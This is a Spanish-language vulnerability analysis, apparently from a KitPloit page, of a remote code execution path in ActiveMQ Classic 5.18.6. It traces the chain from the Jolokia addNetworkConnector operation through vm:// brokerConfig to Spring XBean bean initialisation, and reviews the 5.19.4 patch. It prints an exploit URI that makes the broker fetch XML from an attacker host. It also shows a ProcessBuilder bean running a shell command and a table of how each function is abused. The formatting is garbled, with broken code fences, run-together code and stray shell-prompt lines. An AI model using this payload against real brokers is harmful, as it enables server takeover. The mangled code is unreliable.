`BrokerService` convierte la cadena directamente en una `URI`:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
    return addNetworkConnector(new URI(discoveryAddress));
}

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
    NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
    return addNetworkConnector(connector);
}

El objeto conector se configura entonces con la URI del broker local y se añade al broker:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception { connector.setBrokerService(this); connector.setLocalUri(getVmConnectorURI()); ... networkConnectors.add(connector); return connector; }

root@kitploit:~
El control llega al subsistema de transporte cuando `BrokerView` inicia el conector:```java
connector.start();

Para la URI del exploit:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
`static:(...)` crea un conector de descubrimiento estático, y la URI interna `vm://...` se convierte en el servicio remoto descubierto.

---

### Análisis del Transporte VM

El transporte VM se resuelve mediante:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm
class=org.apache.activemq.transport.vm.VMTransportFactory

El método vulnerable es:```java // activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java public Transport doCompositeConnect(URI location) throws Exception

root@kitploit:~
El método analiza la URI `vm://`, extrae los parámetros de consulta y trata `brokerConfig` como una URI de creación de broker:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
} else {
    Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
    brokerURI = new URI("broker://()/" + host + "?"
                        + URISupport.createQueryString(brokerOptions));
}

La opción create tiene como valor predeterminado true:```java boolean create = true; ... if ("false".equals(options.remove("create"))) { create = false; }

root@kitploit:~
Si no existe ningún broker para el host de VM solicitado, `VMTransportFactory` crea uno:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
    if (!create) {
        throw new IOException("Broker named '" + host + "' does not exist.");
    }
    try {
        if (brokerFactoryHandler != null) {
            broker = brokerFactoryHandler.createBroker(brokerURI);
        } else {
            broker = BrokerFactory.createBroker(brokerURI);
        }
        broker.start();
        MDC.put("activemq.broker", broker.getBrokerName());
    } catch (URISyntaxException e) {
        throw IOExceptionSupport.create(e);
    }
    BROKERS.put(host, broker);
    BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}

Este es el fallo del límite de privilegios a nivel de transporte. Una URI proporcionada a través del plano de gestión es evaluada por el transporte de la VM como una instrucción para crear un broker desde una URI de configuración arbitraria.

La validación restante de parámetros ocurre después de la creación del broker:```java if (!options.isEmpty()) { throw new IllegalArgumentException("Invalid connect parameters: " + options); } return transport;

root@kitploit:~
Esa validación no puede impedir la ejecución de código a través de `brokerConfig`, porque `brokerConfig` ya ha sido eliminado de `options` y consumido antes de que esta comprobación se ejecute.

La ruta de descubrimiento upstream es:```java
// activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java
remoteTransport = TransportFactory.connect(connectUri);

Para static:(...), SimpleDiscoveryAgent.start() emite inmediatamente cada servicio configurado:```java // activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java public void start() throws Exception { taskRunner = new TaskRunnerFactory(); taskRunner.init();

root@kitploit:~
running.set(true);
for (int i = 0; i < services.length; i++) {
    listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}

}

root@kitploit:~
`DiscoveryNetworkConnector.onServiceAdd()` luego se conecta a la URI interior controlada por el atacante.

---

### Flujo de creación del broker

La creación del broker es gestionada por:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java
public static BrokerService createBroker(URI brokerURI) throws Exception {
    return createBroker(brokerURI, false);
}

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception {
    if (brokerURI.getScheme() == null) {
        throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI);
    }
    BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme());
    BrokerService broker = handler.createBroker(brokerURI);
    if (startBroker) {
        broker.start();
    }
    return broker;
}

La búsqueda del handler se basa en el esquema:```java private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER = new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException { try { return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type); } catch (Throwable e) { throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e); } }

root@kitploit:~
Para las URIs `xbean:`, el descriptor de servicio se asigna a `XBeanBrokerFactory`:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean
class=org.apache.activemq.xbean.XBeanBrokerFactory

Flujo de llamadas estático exacto:```text BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.(URI) -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> BrokerFactory.createBroker(URI, boolean) -> XBeanBrokerFactory.createBroker(URI)

root@kitploit:~
La transición clave es:```text
vm://evil?brokerConfig=xbean:http://attacker/evil.xml

a:```text BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

root@kitploit:~
### Análisis de Spring XBean

La fábrica XBean relevante es:```java
// activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java
public class XBeanBrokerFactory implements BrokerFactoryHandler

createBroker() extrae la parte específica del esquema de la URI xbean: y crea un contexto de aplicación Spring antes de comprobar si contiene un broker:```java public BrokerService createBroker(URI config) throws Exception { String uri = config.getSchemeSpecificPart(); if (uri.lastIndexOf('?') != -1) { IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri)); uri = uri.substring(0, uri.lastIndexOf('?')); }

root@kitploit:~
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...

}

root@kitploit:~
El sumidero peligroso es `createApplicationContext()`:```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);
    LOG.debug("Using " + resource + " from " + uri);
    try {
        return new ResourceXmlApplicationContext(resource) {
            @Override
            protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
                reader.setValidating(isValidate());
            }
        };
    } catch (FatalBeanException errorToLog) {
        LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
        throw errorToLog;
    }
}

Los recursos remotos se aceptan mediante Utils.resourceFromString():```java // activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java public static Resource resourceFromString(String uri) throws MalformedURLException { Resource resource; File file = new File(uri); if (file.exists()) { resource = new FileSystemResource(uri); } else if (ResourceUtils.isUrl(uri)) { try { resource = new UrlResource(ResourceUtils.getURL(uri)); } catch (FileNotFoundException e) { MalformedURLException malformedURLException = new MalformedURLException(uri); malformedURLException.initCause(e); throw malformedURLException; } } else { resource = new ClassPathResource(uri); } return resource; }

root@kitploit:~
Por lo tanto:```text
xbean:http://192.168.1.32:9999/evil.xml

se reduce a:```text http://192.168.1.32:9999/evil.xml

root@kitploit:~
y cargado como un `UrlResource` de Spring.

La llamada a `reader.setValidating(isValidate())` solo controla el modo de validación XML en el `XmlBeanDefinitionReader` de Spring. No restringe las clases de beans, los argumentos de constructor, los métodos de ciclo de vida ni los recursos URL remotos.

---

### Análisis de Instanciación de Beans de Spring

ActiveMQ 5.18.6 declara:```xml
<spring-version>5.3.39</spring-version>
<xbean-version>4.25</xbean-version>

En XBean 4.25, ResourceXmlApplicationContext llama a refresh() desde su constructor:```java // org/apache/xbean/spring/context/ResourceXmlApplicationContext.java public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) { super(); this.xmlPreprocessors = xmlPreprocessors; this.resource = resource; refresh(); }

root@kitploit:~
Carga las definiciones de beans desde el recurso proporcionado:```java
protected void loadBeanDefinitions(XmlBeanDefinitionReader reader)
        throws BeansException, IOException {
    reader.loadBeanDefinitions(resource);
}

El AbstractApplicationContext.refresh() de Spring inicializa entonces la fábrica de beans e instancia los beans singleton no perezosos:```java // org/springframework/context/support/AbstractApplicationContext.java // Instantiate all remaining (non-lazy-init) singletons. finishBeanFactoryInitialization(beanFactory);

root@kitploit:~
`finishBeanFactoryInitialization()` llama:```java
beanFactory.preInstantiateSingletons();

DefaultListableBeanFactory.preInstantiateSingletons() crea cada bean singleton, no abstracto y no perezoso:```java for (String beanName : beanNames) { RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName); if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) { ... getBean(beanName); } }

root@kitploit:~
Durante la inicialización de beans, Spring invoca métodos de inicialización personalizados:```java
// org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java
protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) {
    ...
    invokeInitMethods(beanName, wrappedBean, mbd);
    ...
}

El método init personalizado se resuelve a partir de la definición del bean:```java String initMethodName = mbd.getInitMethodName(); if (StringUtils.hasLength(initMethodName) && !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) && !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) { invokeCustomInitMethod(beanName, bean, mbd); }

root@kitploit:~
`invokeCustomInitMethod()` invoca el método mediante reflexión:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);

Un bean Spring XML malicioso como:```xml sh -c touch /tmp/blahblah.txt

root@kitploit:~
provoca el siguiente comportamiento:```text
ResourceXmlApplicationContext constructor
  -> refresh()
  -> XmlBeanDefinitionReader.loadBeanDefinitions()
  -> DefaultListableBeanFactory.preInstantiateSingletons()
  -> getBean("exec")
  -> instantiate java.lang.ProcessBuilder
  -> initializeBean()
  -> invokeInitMethods()
  -> invokeCustomInitMethod("start")
  -> ProcessBuilder.start()

Esto ocurre antes de que XBeanBrokerFactory.createBroker() valide el contexto resultante buscando un bean BrokerService:```java ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null; try { broker = (BrokerService)context.getBean("broker"); } catch (BeansException e) { }

if (broker == null) { String[] names = context.getBeanNamesForType(BrokerService.class); ... }

if (broker == null) { throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config); }

root@kitploit:~
La validación del broker ocurre después del refresco del contexto de Spring. Como resultado, una configuración puede ejecutar métodos init arbitrarios y aun así ser rechazada posteriormente como una configuración de broker inválida.

---

### Análisis de la causa raíz

La causa raíz es un puente arquitectónico inseguro entre una operación de gestión invocable de forma remota y los mecanismos locales de arranque del broker de confianza.

El diseño vulnerable tiene estas propiedades:

- Jolokia expone operaciones JMX `exec` para los MBeans de gestión del broker de ActiveMQ.
- `BrokerView.addNetworkConnector(String)` acepta entrada URI controlada por el atacante.
- La URI se pasa al código de redes de ActiveMQ sin una restricción en el plano de gestión sobre los esquemas de transporte peligrosos.
- El descubrimiento `static:(...)` hace que la URI incluida se conecte automáticamente cuando se inicia el conector de red.
- El transporte `vm://` no es solo un transporte dentro de la VM; también admite la creación automática de un broker cuando el broker VM nombrado está ausente.
- `VMTransportFactory` trata `brokerConfig` como una URI de fábrica de brokers y lo reenvía a `BrokerFactory.createBroker()`.
- `BrokerFactory` admite URIs `xbean:` a través de `XBeanBrokerFactory`.
- `XBeanBrokerFactory` acepta recursos URL y construye un `ResourceXmlApplicationContext` de Spring.
- Spring instancia con avidez los beans singleton e invoca métodos init personalizados durante el refresco del contexto.
- ActiveMQ comprueba si el contexto contiene un `BrokerService` válido solo después de que Spring ya haya inicializado el contexto.

Esto no es simplemente "validación de entrada inadecuada" de forma aislada. El comportamiento vulnerable se debe a que se expone un intérprete de URIs capaz de configurar a través de una operación JMX en tiempo de ejecución y se permite que ese intérprete alcance la ejecución del ciclo de vida de los beans de Spring.

El fallo preciso es que la API de gestión trata a `discoveryAddress` como una dirección de conector, pero la pila de transporte aguas abajo lo trata como configuración ejecutable. En la ruta de explotación, la cadena se evalúa como:```text
network connector URI
  -> discovery service URI
  -> VM transport URI
  -> broker creation URI
  -> XBean Spring resource URI
  -> Spring bean definitions
  -> Java object lifecycle methods

La validación ocurre demasiado tarde porque la única validación de configuración del broker en XBeanBrokerFactory sucede después de:```java new ResourceXmlApplicationContext(resource)

root@kitploit:~
y ese constructor realiza:```text
refresh() -> preInstantiateSingletons() -> init-method invocation

Para cuando ActiveMQ determina que el XML no tiene un BrokerService válido, los beans de Spring controlados por el atacante ya pueden haberse ejecutado.


Análisis del parche

El diff relevante fue revisado con:```bash git diff activemq-5.18.6..activemq-5.19.4

root@kitploit:~
El cambio relevante para la seguridad está en:```text
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java

En 5.18.6, addNetworkConnector() reenviaba directamente la cadena:```java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); ... connector.start(); return connector.getName(); }

root@kitploit:~
En 5.19.4, se añadió validación antes de llamar a `BrokerService`:```diff
 public String addNetworkConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);

La misma validación se añadió a addConnector():```diff public String addConnector(String discoveryAddress) throws Exception {

  • // Verify VM transport is not used
  • validateAllowedUrl(discoveryAddress); TransportConnector connector = brokerService.addConnector(discoveryAddress);
root@kitploit:~
El validador rechaza los esquemas de transporte `vm`:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
    validateAllowedUri(new URI(uriString), 0);
}

// Validate the URI does not contain VM transport
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
    // Don't allow more than 5 nested URIs to prevent blowing the stack
    if (depth > 5) {
        throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
    }

    // First check the main URI scheme
    validateAllowedScheme(uri.getScheme());

    // If composite, iterate and check each of the composite URIs
    if (URISupport.isCompositeURI(uri)) {
        URISupport.CompositeData data = URISupport.parseComposite(uri);
        depth++;
        for (URI component : data.getComponents()) {
            if (URISupport.isCompositeURI(uri)) {
                validateAllowedUri(component, depth);
            } else {
                validateAllowedScheme(uri.getScheme());
            }
        }
    }
}

// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
    if (scheme.equals("vm")) {
        throw new IllegalArgumentException("VM scheme is not allowed");
    }
}

La ruta de ejecución parcheada se convierte en:```text Jolokia exec -> BrokerView.addNetworkConnector(String) -> validateAllowedUrl(String) -> validateAllowedUri(URI) -> validateAllowedScheme("vm") -> IllegalArgumentException("VM scheme is not allowed")

root@kitploit:~
Esto bloquea el exploit antes de que la solicitud llegue a:```text
BrokerService.addNetworkConnector()
DiscoveryNetworkConnector.start()
TransportFactory.connect()
VMTransportFactory.doCompositeConnect()
BrokerFactory.createBroker()
XBeanBrokerFactory.createApplicationContext()
ResourceXmlApplicationContext.refresh()

El parche no elimina el soporte del transporte VM de forma global. Restringe el uso de vm:// a través de los métodos de creación de conectores de BrokerView orientados a JMX. Las rutas de código internas o de confianza que usan el transporte VM siguen existiendo.

No se realizó ningún cambio relevante para la seguridad en VMTransportFactory.doCompositeConnect() entre 5.18.6 y 5.19.4. El comportamiento de brokerConfig permanece:```java String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } ... broker = BrokerFactory.createBroker(brokerURI);

root@kitploit:~
No se realizó ningún cambio relevante para la seguridad en `XBeanBrokerFactory.createApplicationContext()` en este diff. Los recursos de URL remota y el comportamiento de Spring `ResourceXmlApplicationContext` siguen estando disponibles para la carga de configuraciones de broker de confianza.

`BrokerFactory` cambió de un `FactoryFinder` sin tipo a un `FactoryFinder<BrokerFactoryHandler>` con tipo:```diff
- private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
-     new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
+ private static final FactoryFinder<BrokerFactoryHandler> BROKER_FACTORY_HANDLER_FINDER
+     = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
+     BrokerFactoryHandler.class, null);

Esto es una limpieza de seguridad de tipos, no la mitigación del RCE. El despacho basado en esquemas hacia XBeanBrokerFactory permanece.

BrokerService incorporó comprobaciones de isAutoStart() para el arranque del conector en algunas rutas:```diff

  • connector.start();
  • if(connector.isAutoStart()) {
  • root@kitploit:~
    connector.start();
    
  • }
root@kitploit:~
Esta no es la corrección principal para la ruta de Jolokia a RCE. La mitigación principal es el rechazo previo al despacho de `vm://` en `BrokerView`.

Resumen del comportamiento del parche:

- 5.18.6: `BrokerView.addNetworkConnector()` acepta `static:(vm://...?brokerConfig=xbean:http://...)` y lo pasa aguas abajo.
- 5.19.4: `BrokerView.addNetworkConnector()` valida la URI proporcionada antes de la creación del conector y rechaza el uso anidado de `vm://`.
- 5.18.6: `VMTransportFactory` puede consumir `brokerConfig` controlado por el atacante y alcanzado desde la ruta JMX.
- 5.19.4: `VMTransportFactory` sigue admitiendo `brokerConfig`, pero la ruta JMX expuesta está bloqueada antes de la resolución del transporte VM.

---

### Conclusión del Análisis Estático

La ruta de código vulnerable exacta en ActiveMQ Classic 5.18.6 es:```text
HTTP POST /api/jolokia/
  -> Jolokia exec operation
  -> org.apache.activemq:type=Broker,brokerName=<name>
  -> BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.setUri(URI)
  -> DiscoveryAgentFactory.createDiscoveryAgent(URI)
  -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI)
  -> BrokerView.addNetworkConnector(): connector.start()
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> XBeanBrokerFactory.createBroker(URI)
  -> XBeanBrokerFactory.createApplicationContext(String)
  -> Utils.resourceFromString(String)
  -> new ResourceXmlApplicationContext(Resource)
  -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource)
  -> AbstractApplicationContext.refresh()
  -> DefaultListableBeanFactory.preInstantiateSingletons()
  -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod()
  -> ProcessBuilder.start()

La explotación es posible porque ActiveMQ expone una operación de gestión que acepta una URI de conector, pero la implementación de transporte subyacente puede interpretar esa URI como configuración de creación del broker. El parámetro brokerConfig cruza desde la lógica de conexión de transporte hacia la lógica de fábrica del broker. Con un valor xbean:, cruza de nuevo hacia el procesamiento XML de Spring.

La primitiva de ejecución de Spring no es un fallo de deserialización independiente. Es un comportamiento normal del ciclo de vida de Spring: un bean singleton no diferido se instancia durante el refresco del contexto, y se invoca su init-method configurado. Por lo tanto, un bean java.lang.ProcessBuilder con init-method="start" ejecuta un proceso durante la inicialización del contexto de la aplicación.

El fallo de validación es un defecto de orden. ActiveMQ valida si la configuración XBean contiene un BrokerService utilizable solo después de que ResourceXmlApplicationContext ya haya cargado el XML e inicializado los beans singleton. El rechazo de la configuración del broker después del refresco no deshace los efectos secundarios de los métodos del ciclo de vida de los beans.

El parche 5.19.4 mitiga esta ruta específica añadiendo validación de URI en BrokerView antes de la creación del conector y rechazando el uso del transporte vm:// desde la superficie de gestión JMX. El parche bloquea la ruta expuesta a VMTransportFactory.doCompositeConnect(); no elimina brokerConfig, el soporte de xbean:, ni la carga de XBean de Spring desde rutas de configuración internas de confianza.

Descargar herramienta
FunciónAbuso
addNetworkConnector()Aceptar URI controlada por el atacante
vm:// transportActivar la creación dinámica del broker
brokerConfig=Cargar configuración arbitraria del broker
xbean:Invocar el cargador XML de Spring
Remote HTTP URLObtener XML controlado por el atacante